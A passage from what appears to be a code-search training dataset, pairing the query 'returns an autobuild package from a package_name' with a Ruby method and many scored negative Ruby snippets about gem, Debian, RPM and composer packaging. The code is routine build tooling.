package_name\n # TODO: verify renamed packages\n resource['title']\n end", "def package_version(package)\n # use module version if it exists\n go_mod = package[\"Module\"]\n return go_mod[\"Version\"] if go_mod\n\n package_directory = package[\"Dir\"]\n return unless package_directory && File.exist?(package_directory)\n\n # find most recent git SHA for a package, or nil if SHA is\n # not available\n Dir.chdir package_directory do\n contents_version(*contents_version_arguments)\n end\n end", "def all_package_names\n each_autobuild_package.map(&:name)\n end", "def pkg_binary; \"pacaur\" end", "def package_manifest()\n res = []\n @items.each do |item|\n sources = item[:sources]\n sources = [ sources ] unless sources.kind_of?(Array)\n sources.each do |src|\n # TODO - want to split into multiple packages\n #if pkg == :main\n # next unless item[:dest] =~ /(LIB|BIN)DIR/\n #elsif pkg == :devel\n # next unless item[:dest] =~ /(INCLUDE|MAN)DIR/\n #else\n # throw \"bad pkg type\"\n #end\n dst = expand_dir(item[:dest])\n if item[:rename].nil?\n dst += '/' + src\n else\n dst += '/' + item[:rename]\n end\n dst.gsub!(/^\\/usr\\/local\\//, '/usr/') # KLUDGE: only true when making an RPM or DEB\n res.push dst\n end\n end\n res.join \"\\n\"\n end", "def package\n @package ||= path.split('/lib/')[0].split('/').last.split('.js').last\n end", "def build_info_file\n File.join build_info_dir, \"#{full_name}.info\"\n end", "def perform(package_id)\n package = Package.find(package_id)\n return if package.has_required_details?\n\n response = Net::HTTP.get_response(package.uri)\n raise response.message unless response.code == '200'\n\n ungziped = ungzip(response.body)\n files = untar(ungziped)\n package_description = extract_description(files)\n\n package.update_attributes(\n published_at: package_description['Date/Publication'],\n title: package_description['Title'],\n description: package_description['Description'],\n authors: package_description['Author'],\n maintainers: package_description['Maintainer']\n )\n end", "def package_from_name(package_name)\n return self if package_name == self.name\n local_deps.find { |pkg| pkg.name == package_name }\n end", "def gem_spec\n require 'rubygems/specification'\n spec_fields = %w(\n name author email has_rdoc rubyforge_project summary\n version description required_ruby_version homepage\n )\n Gem::Specification.new do | spec |\n for field in spec_fields\n value = self.send( field )\n spec.send( \"#{field}=\", value )\n end\n \n spec.files = package.files.to_a + %w( Rakefile Manifest.txt )\n spec.test_files = unit_tests.to_a + functional_tests.to_a\n \n spec.executables.push( *executables )\n spec.requirements.push( *requirements )\n end\n end", "def package_name\n @package_name ||=\n Pathname(\"#{cartage.final_name}.tar#{cartage.tar_compression_extension}\")\n end", "def define_package_tasks\n prerelease_version\n\n Gem::PackageTask.new spec do |pkg|\n pkg.need_tar = @need_tar\n pkg.need_zip = @need_zip\n end\n\n desc \"Install the package as a gem. (opt. NOSUDO=1)\"\n task :install_gem => [:clean, :package, :check_extra_deps] do\n install_gem Dir[\"pkg/*.gem\"].first\n end\n\n desc \"Package and upload; Requires VERSION=x.y.z (optional PRE=a.1)\"\n task :release => [:prerelease, :release_to, :postrelease]\n\n # no doco, invisible hook\n task :prerelease do\n abort \"Fix your version before you release\" if spec.version.to_s =~ /borked/\n end\n\n # no doco, invisible hook\n task :release_to\n\n # no doco, invisible hook\n task :postrelease\n\n desc \"Sanity checks for release\"\n task :release_sanity do\n v = ENV[\"VERSION\"] or abort \"Must supply VERSION=x.y.z\"\n\n pre = ENV[\"PRERELEASE\"] || ENV[\"PRE\"]\n v += \".#{pre}\" if pre\n\n c = changes[/\\d\\S+/]\n\n abort \"Versions don't match: %s vs %s\" % [v, version] if v != version\n abort \"Versions don't match %s: %s vs %s\" % [history_file, v, c] if v != c\n end\n end", "def package(pkg)\n @pkg = pkg\n end", "def package_ruby(pkg, options) \n # update dependencies in any case, i.e. independant if package exists or not\n deps = dependencies(pkg)\n Dir.chdir(pkg.srcdir) do\n begin\n logname = \"obs-#{pkg.name.sub(\"/\",\"-\")}\" + \"-\" + Time.now.strftime(\"%Y%m%d-%H%M%S\").to_s + \".log\"\n gem = FileList[\"pkg/*.gem\"].first\n if not gem \n Packager.info \"Debian: creating gem from package #{pkg.name}\"\n if !system(\"rake gem 2> #{File.join(OBS_LOG_DIR, logname)}\")\n raise \"Debian: failed to create gem from RubyPackage #{pkg.name}\"\n Packager.warn \" check: #{File.expand_path(logname)}\"\n end\n end\n\n gem = FileList[\"pkg/*.gem\"].first\n\n # Make the naming of the gem consistent with the naming schema of\n # rock packages\n #\n # Make sure the gem has the fullname, e.g.\n # tools-metaruby instead of just metaruby\n gem_rename = gem.sub(basename(pkg.name), canonize(pkg.name))\n if gem != gem_rename\n Packager.info \"Debian: renaming #{gem} to #{gem_rename}\"\n FileUtils.mv gem, gem_rename\n gem = gem_rename\n end\n\n Packager.debug \"Debian: copy #{gem} to #{packaging_dir(pkg)}\"\n FileUtils.cp gem, packaging_dir(pkg)\n gem_final_path = File.join(packaging_dir(pkg), File.basename(gem))\n\n # Prepare injection of dependencies\n options[:deps] = deps\n convert_gem(gem_final_path, options)\n # register gem with the correct naming schema\n # to make sure dependency naming and gem naming are consistent\n @ruby_rock_gems << debian_name(pkg)\n rescue Exception => e\n raise \"Debian: failed to create gem from RubyPackage #{pkg.name} -- #{e.message}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n end\n end", "def info(pkg)\n if self.hidden?\n return super\n end\n if self.mode != :online && pkg.status != :available\n return `#{cmd} #{pkg.name}`\n else\n if !pkg.id.nil?\n return NSString.stringWithContentsOfURL(NSURL.URLWithString(\"http://ftp.NetBSD.org/pub/pkgsrc/current/pkgsrc/#{pkg.id}/DESCR\"), encoding:NSUTF8StringEncoding, error:nil)\n else # TODO lowercase (i.e. Hermes -> hermes)\n return NSString.stringWithContentsOfURL(NSURL.URLWithString(\"http://ftp.NetBSD.org/pub/pkgsrc/current/pkgsrc/#{pkg.categories}/#{pkg.name}/DESCR\"), encoding:NSUTF8StringEncoding, error:nil)\n end\n end\n end", "def build_mock_package\n Emerald::Package.new( {\"id\"=>1,\n \"code\"=>\"wellcheck\",\n \"name\"=>\"Baseline\",\n \"description\"=>\"Get started with WellnessFX\",\n \"active\"=>true,\n \"cost_in_cents\"=>14900,\n \"created_at\"=>\"2012-05-29T17:25:52Z\",\n \"updated_at\"=>\"2012-05-29T17:25:52Z\",\n \"variants\"=>\n [{\"name\"=>\"Vitamin D\", \"cost_in_cents\"=>4000, \"code\"=>\"vitamin_d\"},\n {\"name\"=>\"Vitamin B\", \"cost_in_cents\"=>1000, \"code\"=>\"vitamin_b\"}\n ]\n })\nend", "def valid_package_entry(match, data)\n {\n name: match[:name],\n version: data[:version],\n metadata: {\n \"scm\" => match[:scm],\n \"repo\" => data[:repo]\n }\n }\n end", "def primary_file(origin_name, dist_name, component_name, packages)\n content = {\n :metadata => {\n :@xmlns => XMLNS_MAP[:common],\n \"@xmlns:rpm\" => XMLNS_MAP[:rpm],\n :@packages => packages.size,\n :package => packages.map { |package|\n {\n :@type => \"rpm\",\n :name => package[\"NAME\"],\n :arch => package[\"ARCH\"],\n :version => {\n :@epoch => package[\"EPOCHNUM\"],\n :@ver => package[\"VERSION\"],\n :@rel => package[\"RELEASE\"].split(\".\").first,\n },\n :checksum => [\n {\n :@type => \"sha\",\n :@pkgid => \"YES\",\n },\n package[:generated_sha],\n ],\n :summary => package[\"SUMMARY\"],\n :description => [package[\"DESCRIPTION\"]].flatten.compact.join(\" \"),\n :packager => package[\"PACKAGER\"],\n :url => package[\"URL\"],\n :time => {\n :@file => Time.now.to_i,\n :@build => package[\"BUILDTIME\"],\n },\n :size => {\n :@archive => package[\"ARCHIVESIZE\"],\n :@package => package[:generated_size],\n :@installed => package[\"LONGSIZE\"],\n },\n :location => package[:generated_path],\n :format => {\n \"rpm:license\" => package[\"LICENSE\"],\n \"rpm:vendor\" => package[\"VENDOR\"],\n \"rpm:group\" => package[\"GROUP\"],\n \"rpm:buildhost\" => package[\"BUILDHOST\"],\n \"rpm:header-range\" => {\n :@start => package[:generated_header][:start],\n :@end => package[:generated_header][:end],\n },\n \"rpm:provides\" => {\n \"rpm:entry\" => Array.new.tap { |entries|\n pro_ver = package[\"PROVIDEVERSION\"].dup\n package[\"PROVIDENAME\"].each_with_index do |p_name, p_idx|\n item = {:@name => p_name}\n if p_flag = VERSION_FLAGS[package[\"PROVIDEFLAGS\"][p_idx]]\n p_ver, p_rel = pro_ver.shift.split(\"-\", 2)\n item.merge!(:@flags => p_flag, :@ver => p_ver, :@rel => p_rel, :@epoch => package[\"EPOCHNUM\"])\n end\n entries.push(item)\n end\n },\n },\n \"rpm:requires\" => {\n \"rpm:entry\" => Array.new.tap { |entries|\n req_ver = package[\"REQUIREVERSION\"].dup\n package[\"REQUIRENAME\"].each_with_index do |r_name, r_idx|\n item = {:@name => r_name}\n if r_flag = VERSION_FLAGS[package[\"REQUIREFLAGS\"][r_idx]]\n r_ver, r_rel = req_ver.shift.split(\"-\", 2)\n item.merge!(:@flags => r_flag, :@ver => r_ver, :@rel => r_rel, :@epoch => package[\"EPOCHNUM\"])\n end\n entries.push(item)\n end\n },\n },\n },\n }\n },\n },\n }\n args = [origin_name, dist_name, component_name, \"repodata\", \"primary.xml\"]\n [\n create_file(*args) do |file|\n file.puts generate_xml(content)\n end,\n compress_file(*args),\n ]\n end", "def parse_gemfile\n ParserUtil.gemfile(data[\"Gemfile\"])\n end", "def util_read_spec(filename)\n unless Gem::VERSION >= \"2.0.0\"\n io = File.open(filename, \"rb\")\n Gem::Package.open(io, \"r\") { |x| x.metadata }\n else\n Gem::Package.new(filename).spec\n end\n end", "def util_read_spec(filename)\n unless Gem::VERSION >= \"2.0.0\"\n io = File.open(filename, \"rb\")\n Gem::Package.open(io, \"r\") { |x| x.metadata }\n else\n Gem::Package.new(filename).spec\n end\n end" ]
[ "0.6974867", "0.6186185", "0.61762625", "0.61434776", "0.60839415", "0.5983987", "0.59585327", "0.5948931", "0.5947118", "0.5900597", "0.58723295", "0.5872231", "0.5805028", "0.5804485", "0.57755363", "0.5742375", "0.5738531", "0.5738173", "0.5720814", "0.570821", "0.57020646", "0.5691067", "0.568976", "0.5681015", "0.5675935", "0.5669283", "0.56584454", "0.5648537", "0.56268746", "0.56264275", "0.56233484", "0.5597947", "0.55907243", "0.55827004", "0.557271", "0.5565631", "0.5562733", "0.5537725", "0.55353457", "0.55248386", "0.5524087", "0.5502446", "0.5496309", "0.5489438", "0.5473127", "0.5472571", "0.5467369", "0.5460563", "0.54579496", "0.54571486", "0.5434922", "0.54341274", "0.5431795", "0.5413454", "0.5405908", "0.5398594", "0.53970605", "0.5396412", "0.53962326", "0.5376639", "0.5365614", "0.53559977", "0.53397095", "0.5334522", "0.53289443", "0.53129256", "0.53019416", "0.5297937", "0.52943176", "0.5291068", "0.528273", "0.52779156", "0.52695775", "0.52628154", "0.5258082", "0.52477324", "0.523983", "0.5220677", "0.5218517", "0.520523", "0.52019334", "0.51963234", "0.5185847", "0.5178939", "0.51679575", "0.51658934", "0.51595396", "0.5156423", "0.5142223", "0.5139944", "0.5139119", "0.5137196", "0.5131245", "0.5117745", "0.5113231", "0.5112864", "0.5106728", "0.5098978", "0.5087793", "0.5087793" ]
0.64490074
1
returns an autobuild package from a package_name
def package_by_name(package_name) raise RuntimeError, "#{self.class} needs to overwrite package_by_name" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_autobuild_package(name)\n find_package_definition(name)&.autobuild\n end", "def package_from_name(package_name)\n return self if package_name == self.name\n local_deps.find { |pkg| pkg.name == package_name }\n end", "def package(name)\n if name.respond_to? :cache_path\n name\n elsif @versions[name]\n Package.for(@sources[name], @versions[name], @files[name])\n end\n end", "def find_package_by_name(name)\n @packages[name]\n end", "def find_package_definition(name)\n packages[validate_package_name_argument(name, require_existing: false)]\n end", "def guess_package_name(gem_name, args)\n package_name = nil\n package_name ||= guess_package_name_from_args(gem_name, args)\n package_name ||= guess_package_name_from_environment\n package_name ||= guess_package_name_from_appfile\n package_name ||= guess_package_name_from_config_files\n package_name\n end", "def package_from_name\n case name.downcase\n when 'splunk' then package :splunk\n when 'universal_forwarder' then package :universal_forwarder\n else raise 'Package must be specified (:splunk or :universal_forwarder)'\n end\n end", "def package(name)\n Packaged.instance self , name\n end", "def package_name\n @package_name ||=\n Pathname(\"#{cartage.final_name}.tar#{cartage.tar_compression_extension}\")\n end", "def package_name\n @version ? \"#{@name}-#{@version}\" : @name\n end", "def package(version)\n packages[version] if package_setup.include? version\n end", "def path_from_package(package_name)\n ret = package_from_name package_name\n ret && ret.root_path\n end", "def package(group_name, package_name, package_version)\n RubyAem::Resources::Package.new(@client, group_name, package_name, package_version)\n end", "def package_repository(package_name, desired_version, arch = nil)\n package(package_name, arch, true, false) do |pkg|\n return pkg.repoid if desired_version == pkg.version.to_s\n end\n\n nil\n end", "def package_name(project)\n \"#{project.name}-#{project.version}-#{project.release}.#{@architecture}.pkg.gz\"\n end", "def locate_package(package_name, vers, verbose)\n local = has_local_package?(package_name)\n \n # It's true that we don't have a prerelase check here, but the\n # previous one we had didn't do anything, so it's better to have\n # none than one that doesn't work\n vers = \">= 0\" if vers == \">= 0-pre\"\n src_path = local ? locate_local_package(package_name) : \n BPM::Local.new.source_root(package_name, vers)\n\n return nil unless src_path\n\n pkg = BPM::Package.new(src_path)\n pkg.load_json # throws exception if json invalid\n pkg\n end", "def output_package(pkg_type)\n case pkg_type\n when 'makeself'\n Packager::Makeself.new(self).package_name\n when 'msi'\n Packager::MSI.new(self).package_name\n when 'bff'\n Packager::BFF.new(self).package_name\n when 'solaris'\n Packager::Solaris.new(self).package_name\n when 'pkg'\n Packager::PKG.new(self).package_name\n when 'mac_dmg'\n pkg = Packager::PKG.new(self)\n Packager::MacDmg.new(pkg).package_name\n when 'rpm'\n Packager::RPM.new(self).package_name\n when 'deb'\n Packager::DEB.new(self).package_name\n else\n raise RuntimeError, \"I do not know how to build a `#{pkg_type}'!\"\n end\n end", "def metapackage(name, *packages)\n Autoproj.workspace.manifest.metapackage(name, *packages)\nend", "def output_package(pkg_type)\n case pkg_type\n when 'makeself'\n \"#{package_name}-#{build_version}_#{iteration}.sh\"\n when 'msi'\n Packager::WindowsMsi.new(self).package_name\n when 'bff'\n \"#{package_name}.#{bff_version}.bff\"\n when 'pkgmk'\n \"#{package_name}-#{build_version}-#{iteration}.solaris\"\n when 'mac_pkg'\n Packager::MacPkg.new(self).package_name\n when 'mac_dmg'\n pkg = Packager::MacPkg.new(self)\n Packager::MacDmg.new(pkg).package_name\n else # fpm\n require \"fpm/package/#{pkg_type}\"\n pkg = FPM::Package.types[pkg_type].new\n pkg.version = build_version\n pkg.name = package_name\n pkg.iteration = iteration\n if pkg_type == 'solaris'\n pkg.to_s('NAME.FULLVERSION.ARCH.TYPE')\n else\n pkg.to_s\n end\n end\n end", "def find_package_set_by_name(name)\n @package_sets[name]\n end", "def package_plugin(name)\n `cd #{@repository_path}; rake feather:package path=#{name} target=#{@build_path}`\n end", "def key\n \"gem-package-#{name}\"\n end", "def get_requirement_version(package_name)\n requirement = File.read(\"requirements/#{package_name}.txt\").strip\n requirement.delete_prefix(\"#{package_name}==\")\nend", "def setup_package(package_name, &block)\n if !block\n raise ConfigError.new, \"you must give a block to #setup_package\"\n end\n\n package_definition = Autoproj.workspace.manifest.package(package_name)\n if !package_definition\n raise ConfigError.new, \"#{package_name} is not a known package\"\n elsif package_definition.autobuild.kind_of?(Autobuild::DummyPackage)\n # Nothing to do!\n else\n package_definition.add_setup_block(block)\n end\nend", "def pkg_cmd; \"#{pkg_binary}\" end", "def input(vnd_pkg_path)\n\n # general params\n in_bundle = vnd_pkg_path.gsub(/^(.+\\/+)*vendor\\/+|\\/(?=\\/)|\\/+$/, \"\")\n @name = in_bundle.gsub(/[\\W]+/, \"-\")\n json = {}\n if @once\n @once = true\n raise FPM::InvalidPackageConfiguration, \"You can't input multiple bundle names. Only one package can be built at a time currently. Use a shell loop please.\"\n elsif in_bundle =~ /^composer\\/\\w+\\.\\w+/\n raise FPM::InvalidPackageConfiguration, \"composer/*.* files specified as input. Supply only one bundle id.\"\n end\n\n # copying mode\n if File.exist?(\"vendor/\" + in_bundle)\n json = parse_lock(\"composer.lock\", in_bundle)[in_bundle]\n # localize contents below vendor/*/*/ input directory\n ::Dir.chdir(\"./vendor/#{in_bundle}/#{json['target-dir']}/\") do\n FileUtils.cp_r(glob(\"./*\"), build_path)\n end\n else\n # download one package (and dependencies, which are thrown away afterwards)\n ::Dir.chdir(staging_path) do\n ver = attributes[:composer_ver]\n safesystem(\n composer, \"require\", \"--prefer-dist\", \"--update-no-dev\", \"--ignore-platform-reqs\",\n \"--no-ansi\", \"--no-interaction\", in_bundle, *(ver ? [ver] : [])\n )\n # localize Vnd/Pkg folder\n json = parse_lock(\"composer.lock\", in_bundle)[in_bundle]\n FileUtils.mv(glob(\"./vendor/#{in_bundle}/#{json['target-dir']}/*\"), build_path)\n FileUtils.rm_r(glob(\"#{staging_path}/*\"))\n end\n end\n\n #-- staging\n # At this point the build_path contains just the actual class files, etc.\n # Conversion to sys/phar/sysphar is handled in convert() along with the\n # dependency translation.\n composer_json_import(json)\n @target_dir = json.include?(\"target-dir\") ? json[\"target-dir\"] : in_bundle\n attributes[:phar_format] = \"zip+gz\" unless attributes[:phar_format_given?]\n end", "def get_nuget_path_of\n out = yield\n out.match(/Successfully created package '([:\\s\\p{Word}\\\\\\/\\d\\.\\-]+\\.symbols\\.nupkg)'./iu) if out.respond_to? :match\n trace \"Got symbols return value: '#{out}', matched: '#{$1}'\" if $1\n return $1 if $1\n\n out.match(/Successfully created package '([:\\s\\p{Word}\\\\\\/\\d\\.\\-]+\\.nupkg)'./iu)if out.respond_to? :match\n trace \"Got NOT-symbols return value: '#{out}', matched: '#{$1}'\"\n\n unless $1\n args = ARGV.inject(\"\") { |state, arg| state + \" \" + '\"' + arg + '\"' }\n warn do\n %{Couldn't match package, please run\n bundle exec rake DEBUG=true #{args} --trace\nand report a bug to albacore with the full output. Here's the nuget process output:\n--- START OUTPUT ---\n#{out}\n--- END OUTPUT ---\n}\n end\n end\n\n $1\n end", "def package_name\n # TODO: verify renamed packages\n resource['title']\n end", "def search_for_description pkgname, packages = []\n cache_key = \"description_package_#{pkgname.downcase}\"\n description_package = Rails.cache.fetch(cache_key, :expires_in => 12.hours) do\n if packages.blank?\n packages = Seeker.prepare_result(\"\\\"#{pkgname}\\\"\", nil, nil, nil, nil)\n packages = packages.reject {|p| p.first.type == 'ymp'}\n end\n packages.select {|p| p.name == pkgname}.each do |package|\n description_package = nil\n unless package.description.blank?\n description_package = package\n logger.info \"Found package info for #{pkgname} in: #{package.project}\"\n break\n end\n logger.error \"No package info for #{pkgname} in: #{package.project}\"\n end\n description_package\n end\n end", "def fmri_package_name\n version = project.build_version.split(/[^\\d]/)[0..2].join(\".\")\n platform = Ohai[\"platform_version\"]\n \"#{safe_base_package_name}@#{version},#{platform}-#{project.build_iteration}\"\n end", "def package(id)\n if pkg = ARTIFACTS[id.to_sym]\n artifact(**pkg)\n else\n die \"Unknown package ID '#{id}'\"\n end\n end", "def package\n @package ||= path.split('/lib/')[0].split('/').last.split('.js').last\n end", "def package\n @package ||= Package.initialize_from_path(path: \"#{resource_path}/package\",\n client: @client)\n end", "def package_basename(extension='.gem')\n [ package_name, version ].join('-') + extension\n end", "def vendored_package_name(package)\n\tFile.join($package_name, 'vendor/src', package)\nend", "def build\n @model.custom_package? ? custom_package : standard_package\n end", "def load_package_manifest(pkg)\n if pkg.respond_to?(:to_str)\n pkg_definition = find_package_definition(pkg)\n unless pkg_definition\n raise ArgumentError, \"#{pkg} is not a known package in #{self}\"\n end\n\n pkg = pkg_definition\n end\n package = pkg.autobuild\n package_set = pkg.package_set\n\n # Look for the package's manifest.xml, but fallback to a manifest in\n # the package set if present\n if package.use_package_xml? && package.checked_out?\n manifest_path = File.join(package.srcdir, \"package.xml\")\n raise NoPackageXML.new(package.srcdir), \"#{package.name} from \"\\\n \"#{package_set.name} has use_package_xml set, but the package has \"\\\n \"no package.xml file\" unless File.file?(manifest_path)\n\n manifest = PackageManifest.load(package, manifest_path,\n ros_manifest: true,\n condition_context: @ws.env)\n else\n manifest_paths = [File.join(package.srcdir, \"manifest.xml\")]\n if package_set.local_dir\n manifest_paths << File.join(\n package_set.local_dir, \"manifests\", \"#{package.name}.xml\"\n )\n end\n manifest_path = manifest_paths.find do |path|\n File.file?(path)\n end\n if manifest_path\n manifest = PackageManifest.load(package, manifest_path,\n ros_manifest: false,\n condition_context: @ws.config)\n end\n end\n\n if manifest\n pkg.autobuild.description = manifest\n else\n Autoproj.warn \"#{package.name} from #{package_set.name} \"\\\n \"does not have a manifest\"\n end\n\n pkg.apply_dependencies_from_manifest\n # #description is initialized with a null package manifest\n # return it even if we haven't overriden it\n pkg.autobuild.description\n end", "def package_name(val = NULL_ARG)\n @package_name = val unless val.equal?(NULL_ARG)\n @package_name.nil? ? @name : @package_name\n end", "def package_dir\r\n \"${0%/#{target_name}}\"\r\n end", "def [](packagename)\n\t\t\t\treturn(packages()[packagename])\n\t\t\tend", "def pkg_path\n \"pkg/#{spec.full_name}\"\n end", "def find_package_set(name)\n each_package_set.find { |set| set.name == name }\n end", "def package_name\n if supports_ports?\n if makefile_variable_value(\"PKGNAME\", port_path) =~ /^(.+)-[^-]+$/\n $1\n else\n raise Chef::Exceptions::Package, \"Unexpected form for PKGNAME variable in #{port_path}/Makefile\"\n end\n else\n new_resource.package_name\n end\n end", "def package_name\n name = package_drop_last(slug_parts)\n name.empty? ? '_root_' : name\n end", "def native_pkg_to_install_string(pkg)\n name = pkg[:metadata][:name]\n version = pkg[:metadata][:version]\n package_version = pkg[:metadata][:package_version]\n pkgname = \"#{name}-#{version}\"\n if package_version\n pkgname << \"-#{package_version}\"\n end\n pkgname\n end", "def query_package(pkg_name)\n @logger.info(\"Querying for #{pkg_name}\")\n @index[:packages].key?(pkg_name)\n end", "def package(name, paths=[])\n Package.new(name, paths, self)\n end", "def package(pkginfo, options = Hash.new)\n options, unknown_options = Kernel.filter_options options,\n :force_update => false,\n :patch_dir => nil,\n :distribution => nil, # allow to override global settings\n :architecture => nil\n\n options[:distribution] ||= target_platform.distribution_release_name\n options[:architecture] ||= target_platform.architecture\n\n debian_pkg_name = debian_name(pkginfo)\n\n if options[:force_update]\n dirname = packaging_dir(pkginfo)\n if File.directory?(dirname)\n Packager.info \"Debian: rebuild requested -- removing #{dirname}\"\n FileUtils.rm_rf(dirname)\n end\n end\n\n options[:packaging_dir] = packaging_dir(pkginfo)\n options[:release_name] = rock_release_name\n\n begin\n # Set the current pkginfo to set the install directory\n # correctly\n # FIXME: needs to be refactored\n #\n @packager_lock.lock\n @current_pkg_info = pkginfo\n\n pkginfo = prepare_source_dir(pkginfo, options.merge(unknown_options))\n\n if pkginfo.build_type == :orogen || pkginfo.build_type == :cmake || pkginfo.build_type == :autotools\n package_default(pkginfo, options)\n elsif pkginfo.build_type == :ruby\n # Import bundles since they do not need to be build and\n # they do not follow the typical structure required for gem2deb\n if pkginfo.name =~ /bundles/\n package_importer(pkginfo, options)\n else\n package_ruby(pkginfo, options)\n end\n elsif pkginfo.build_type == :archive_importer || pkginfo.build_type == :importer_package\n package_importer(pkginfo, options)\n else\n raise ArgumentError, \"Debian: Unsupported package type #{pkginfo.build_type} for #{pkginfo.name}\"\n end\n ensure\n @current_pkg_info = nil\n @packager_lock.unlock\n end\n end", "def haspackage? pkgname\n\t\tif @cf.packagelist\n\t\t\treturn @cf.packagelist[pkgname]\n\t\tend\n\t\t# ---- check for direct name of binary using the path\n\t\t`which #{pkgname}` =~ /#{pkgname}/\n\tend", "def package_name(buildno=nil)\n if buildno\n buildno = Time.now.strftime(\"%H*60+%M\")\n versnum = \"#{version}.#{buildno}\"\n else\n versnum = version\n end\n\n if platform\n \"#{name}-#{versnum}-#{platform}\"\n else\n \"#{name}-#{versnum}\"\n end\n end", "def package_filename\n \"#{@package.name}_#{@package.version}_#{@package.architecture}.deb\"\n end", "def package?(package_name)\n id = @package_ids[package_name]\n return id if id\n\n package_id = nil\n\n page = \"/frs/\"\n\n form = {\n \"group_id\" => group_id\n }\n scrape = http_post(page, form)\n\n restr = ''\n restr << Regexp.escape( package_name )\n restr << '\\s*'\n restr << Regexp.escape( '<a href=\"/frs/monitor.php?filemodule_id=' )\n restr << '(\\d+)'\n restr << Regexp.escape( %{&group_id=#{group_id}} )\n re = Regexp.new( restr )\n\n md = re.match( scrape )\n if md\n package_id = md[1]\n end\n\n @package_ids[package_name] = package_id\n end", "def hadoop_package(name)\n return name unless hdp22?\n return name if node['platform_family'] == 'debian'\n fw = name.split('-').first\n pv = hdp_version.tr('.', '_').tr('-', '_')\n nn = \"#{fw}_#{pv}\"\n name.gsub(fw, nn)\n end", "def package_name\n [self.config.organization, self.config.project_name].compact.collect(&:underscore).join('-')\n end", "def split_name_package(fullname)\n fixing = fullname.gsub(/:/, \".\")\n split = fixing.match(/^(?:((?:\\w+\\.?)*)\\.)?(\\w+)$/) || []\n name = split[2] || \"\"\n package = split[1] || \"\"\n # downcase the first letter of each package name\n package = package.split(\".\").map {|s| s[0].downcase+s[1..-1]}.join(\".\")\n [name, package]\n end", "def whereis(package_name)\n package_name = validate_package_name_argument(package_name)\n\n matches = [package_name]\n if (source_package = find_package_definition(package_name))\n each_metapackage do |meta|\n matches << meta.name if meta.include?(source_package)\n end\n end\n\n matches.each do |name|\n if (place = normalized_layout[name])\n return place\n end\n end\n \"/\"\n end", "def pkg_binary; \"pacaur\" end", "def package_name\n ver = if new_resource.version == 'latest'\n package_metadata[:version]\n else\n new_resource.version\n end\n \"Chef Development Kit v#{ver}\"\n end", "def full_name\n \"#{@package}.#{parameterized_name}\"\n end", "def set_dpkg_package_name(name)\n dpkg_package.name name\n dpkg_package.package_name name\n end", "def fully_qualified_wire_name\n return java_package\n end", "def parse_pkg fname\n if File.extname(fname) == @extension\n lines = IO.readlines fname\n lines.each do |l|\n begin\n break if l =~ JTools::CLS_DECL_REGEX # stop if we find the class header\n next if l.strip.start_with? \"/*\", \"*\", \"//\"\n if l =~ JTools::PKG_DCL_REGEX # if package declaration found\n pkg_name = l.gsub JTools::EXTR_PKG, \"\" # extract path\n return pkg_name\n end\n rescue ArgumentError => e\n puts \"Error matching line '#{l}' In #{fname}. \" + e.message\n end\n end\n puts \"Warning: #{File.basename fname} has no or no valid package\" +\n \" declaration. Adding to default package.\" if @verbose\n \"\" # if we found nothing -> default package\n else\n raise ArgumentError.new \"Error. #{fname} is no #{@extension} file.\"\n end\n end", "def package_common(package_type, spec, &block)\n package_name = Autoproj.package_name_from_options(spec)\n\n if Autobuild::Package[package_name]\n current_file = Autoproj.current_file[1]\n old_file = Autoproj.workspace.manifest.definition_file(package_name)\n Autoproj.warn \"#{package_name} from #{current_file} is overridden by the definition in #{old_file}\"\n\n return Autobuild::Package[package_name]\n end\n\n pkg = Autoproj.define(package_type, spec, &block)\n pkg.srcdir = pkg.name\n pkg\nend", "def determine_google_package\n return (google_package || self.class.to_s.split('::').last.downcase)\n end", "def source_package_file\n pkg_file = nil\n pkg_dir = self.source_package_dir\n @source_urls.each do |url|\n poss_pkg_file = File.join(pkg_dir, File.basename(url[0]))\n if File::exists?(poss_pkg_file)\n pkg_file = poss_pkg_file\n break\n end\n end\n pkg_file\n end", "def source_package_file\n pkg_file = nil\n pkg_dir = self.source_package_dir\n @source_urls.each do |url|\n poss_pkg_file = File.join(pkg_dir, File.basename(url[0]))\n if File::exists?(poss_pkg_file)\n pkg_file = poss_pkg_file\n break\n end\n end\n pkg_file\n end", "def package(index = 0)\n container.package(index)\n end", "def has_package?(name)\n packages.has_key?(name) || os_package_resolver.include?(name)\n end", "def archive_package(name)\n destination_dir = File.join(@project.full_path, \"output\", name)\n FileUtils.mkdir_p(destination_dir)\n destination_file = File.join(destination_dir, \"#{name}.tar.xz\")\n\n archive_single(File.join(\"src\", name), destination_file)\n end", "def input(package)\n path_to_package = download_if_necessary(package, version)\n\n if File.directory?(path_to_package)\n setup_py = File.join(path_to_package, \"setup.py\")\n else\n setup_py = path_to_package\n end\n\n if !File.exist?(setup_py)\n logger.error(\"Could not find 'setup.py'\", :path => setup_py)\n raise \"Unable to find python package; tried #{setup_py}\"\n end\n\n load_package_info(setup_py)\n install_to_staging(setup_py)\n end", "def convert_package(pkginfo, packaging_dir,\n gem_name: nil,\n patch_dir: nil\n )\n Packager.info \"Package Ruby: '#{pkginfo.name}' with gem_name: '#{gem_name}'\"\n\n # update dependencies in any case, i.e. independent if package exists or not\n deps = pkginfo.dependencies\n Dir.chdir(pkginfo.srcdir) do\n begin\n logname = \"package-ruby-#{pkginfo.name.sub(\"/\",\"-\")}\" + \"-\" + Time.now.strftime(\"%Y%m%d-%H%M%S\").to_s + \".log\"\n logfile = File.join(log_dir, logname)\n\n gem = FileList[\"pkg/*.gem\"].first\n if not gem\n Packager.info \"#{self.class}: preparing gem generation in #{Dir.pwd}\"\n\n # Rake targets that should be tried for cleaning\n gem_clean_success = false\n Gem.clean_alternatives.each do |target|\n msg, status = Open3.capture2e(pkginfo.env, \"bundle exec rake #{target}\")\n if !status.success?\n Packager.info \"#{self.class}: failed to clean package '#{pkginfo.name}' using target '#{target}' #{msg} (see #{logfile})\"\n File.open(logfile,\"a+\") {|f| f.puts msg }\n else\n Packager.info \"#{self.class}: succeeded to clean package '#{pkginfo.name}' using target '#{target}'\"\n gem_clean_success = true\n break\n end\n end\n if not gem_clean_success\n Packager.warn \"#{self.class}: failed to cleanup ruby package '#{pkginfo.name}' -- continuing without cleanup\"\n end\n\n Packager.info \"#{self.class}: ruby package Manifest.txt is being autogenerated\"\n Package2Gem.generate_manifest_txt\n Package2Gem.cleanup_multiple_gemspec(gem_name)\n\n Packager.info \"#{self.class}: creating gem from package #{pkginfo.name} [#{File.join(log_dir, logname)}]\"\n\n if patch_pkg_dir(pkginfo.name, 